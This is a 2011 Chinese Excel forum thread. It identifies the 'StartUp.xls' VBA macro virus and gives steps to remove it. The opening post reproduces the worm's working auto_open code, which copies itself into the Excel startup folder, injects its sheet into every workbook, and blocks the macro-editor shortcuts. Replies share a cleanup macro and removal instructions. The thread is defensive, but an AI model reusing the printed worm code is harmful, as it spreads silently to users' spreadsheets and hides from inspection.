Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 4877|回复: 12

[已解决]请问一下以下代码是不是startup宏病毒?

[复制链接]
发表于 2011-7-31 10:07 | 显示全部楼层 |阅读模式
代码可能是病毒,大家小心点。
最近有很多人都反映中了startup宏病毒,想问一下是不是下面的这段?{:4512:}
  1. Sub auto_open()
  2.     On Error Resume Next
  3.     If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "" & "StartUp.xls") = "" Then
  4.         Application.ScreenUpdating = False
  5.         ThisWorkbook.Sheets("StartUp").Copy
  6.         ActiveWorkbook.SaveAs (Application.StartupPath & "" & "StartUp.xls")
  7.         n$ = ActiveWorkbook.Name
  8.         ActiveWindow.Visible = False
  9.         Workbooks("StartUp.xls").Save
  10.         Workbooks(n$).Close (False)
  11.     End If
  12.     Application.OnSheetActivate = "StartUp.xls!cop"
  13.     Application.OnKey "%{F11}", "StartUp.xls!escape"
  14.     Application.OnKey "%{F8}", "StartUp.xls!escape"
  15. End Sub
  16. Sub cop()
  17.     On Error Resume Next
  18.     If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
  19.         Application.ScreenUpdating = False
  20.         n$ = ActiveSheet.Name
  21.         Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
  22.         Sheets(n$).Select
  23.     End If
  24. End Sub
复制代码

最佳答案
2011-7-31 11:30
本帖最后由 ゅ尛魔鱼ゅ° 于 2011-7-31 11:36 编辑

StartUp.xls宏病毒清除方法及步骤:(excel宏病毒)

StartUp.xls宏病毒清除方法

第一步:清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls;


第二步:清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.exe(约236K)。(Excel程序会自建该文件


第三步:新建C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\startup.xls文件,输入以下代码(代码在图片下面)就行了,以后再打开带毒的excel文件就会自动清除excel文件自带的病毒宏代码。


(注意:其中有些事隐藏文件,你看不到,按照下面说的做就可以看到那些隐藏文件:打开我的电脑》》工具》》文件夹选项》》“隐藏受保护的操作系统文件(推荐)”前面的勾打掉》》选中“显示隐藏的文件、文件夹和驱动器”》》去掉“隐藏已知文件类型的扩展名”的勾。)

代码如下:
      Sub auto_open()

On Error Resume Next

Application.ScreenUpdating = False

ActiveWindow.Visible = False

n$ = ActiveWorkbook.Name

Workbooks(n$).Close (False)

Application.OnSheetActivate = "StartUp.xls!cop"

End Sub

Sub cop()

On Error Resume Next

Dim VBC As Object

Dim Name As String

Dim delComponent As VBComponent

Name = "StartUp"

For Each book In Workbooks

Set delComponent = book.VBProject.VBComponents(Name)

book.VBProject.VBComponents.Remove delComponent

Next

End Sub

(说明:早上才发现中了此毒,也不知潜伏了多久,幸亏一哥们提醒,教给我方法把毒给灭了,给大家分享分享,在此也感谢发明这方法的老师以及将这好方法广为流传造福我的大仙们)







评分

参与人数 2 +7 收起 理由
ゅ尛魔鱼ゅ° + 1
snow1204 + 6 我也中了~~

查看全部评分

excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2011-7-31 10:14 | 显示全部楼层
windimi007 发表于 2011-7-31 10:07
代码可能是病毒,大家小心点。
最近有很多人都反映中了startup宏病毒,想问一下是不是下面的这段?{:4512: ...

谢谢分享,我前几天就见到有个论坛会员文件中就带有此宏病毒
回复

使用道具 举报

发表于 2011-7-31 11:16 | 显示全部楼层
回复

使用道具 举报

发表于 2011-7-31 11:20 | 显示全部楼层
小七哥·~~~{:021:}~~~
回复

使用道具 举报

发表于 2011-7-31 11:30 | 显示全部楼层    本楼为最佳答案   
本帖最后由 ゅ尛魔鱼ゅ° 于 2011-7-31 11:36 编辑

StartUp.xls宏病毒清除方法及步骤:(excel宏病毒)

StartUp.xls宏病毒清除方法

第一步:清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls;


第二步:清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.exe(约236K)。(Excel程序会自建该文件


第三步:新建C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\startup.xls文件,输入以下代码(代码在图片下面)就行了,以后再打开带毒的excel文件就会自动清除excel文件自带的病毒宏代码。


(注意:其中有些事隐藏文件,你看不到,按照下面说的做就可以看到那些隐藏文件:打开我的电脑》》工具》》文件夹选项》》“隐藏受保护的操作系统文件(推荐)”前面的勾打掉》》选中“显示隐藏的文件、文件夹和驱动器”》》去掉“隐藏已知文件类型的扩展名”的勾。)

代码如下:
      Sub auto_open()

On Error Resume Next

Application.ScreenUpdating = False

ActiveWindow.Visible = False

n$ = ActiveWorkbook.Name

Workbooks(n$).Close (False)

Application.OnSheetActivate = "StartUp.xls!cop"

End Sub

Sub cop()

On Error Resume Next

Dim VBC As Object

Dim Name As String

Dim delComponent As VBComponent

Name = "StartUp"

For Each book In Workbooks

Set delComponent = book.VBProject.VBComponents(Name)

book.VBProject.VBComponents.Remove delComponent

Next

End Sub

(说明:早上才发现中了此毒,也不知潜伏了多久,幸亏一哥们提醒,教给我方法把毒给灭了,给大家分享分享,在此也感谢发明这方法的老师以及将这好方法广为流传造福我的大仙们)







评分

参与人数 1 +9 收起 理由
windimi007 + 9 好东西!!!!!!!

查看全部评分

回复

使用道具 举报

 楼主| 发表于 2011-7-31 11:37 | 显示全部楼层
回复 ゅ尛魔鱼ゅ° 的帖子

收藏了,下次再中就不怕了!{:3512:}

点评

是吃5楼药好的吗  发表于 2011-11-5 14:52
回复

使用道具 举报

发表于 2011-7-31 11:50 | 显示全部楼层
回复 windimi007 的帖子

7哥{:011:}
回复

使用道具 举报

发表于 2011-7-31 11:51 | 显示全部楼层
[原创]Results宏病毒处理工具
http://www.excelpx.com/forum.php ... &fromuid=467413
去这里看看wayy版主的杀毒软件去 呵呵……

评分

参与人数 1 +9 收起 理由
windimi007 + 9 原来还有专门的杀软啊!谢谢分享!

查看全部评分

回复

使用道具 举报

发表于 2011-8-31 20:55 | 显示全部楼层
Dim delComponent As VBComponent

运行到此句时有问题。请问怎么调试?
回复

使用道具 举报

发表于 2011-8-31 20:32 | 显示全部楼层
试一下,我快疯了!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-6-1 04:36 , Processed in 0.879763 second(s), 15 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表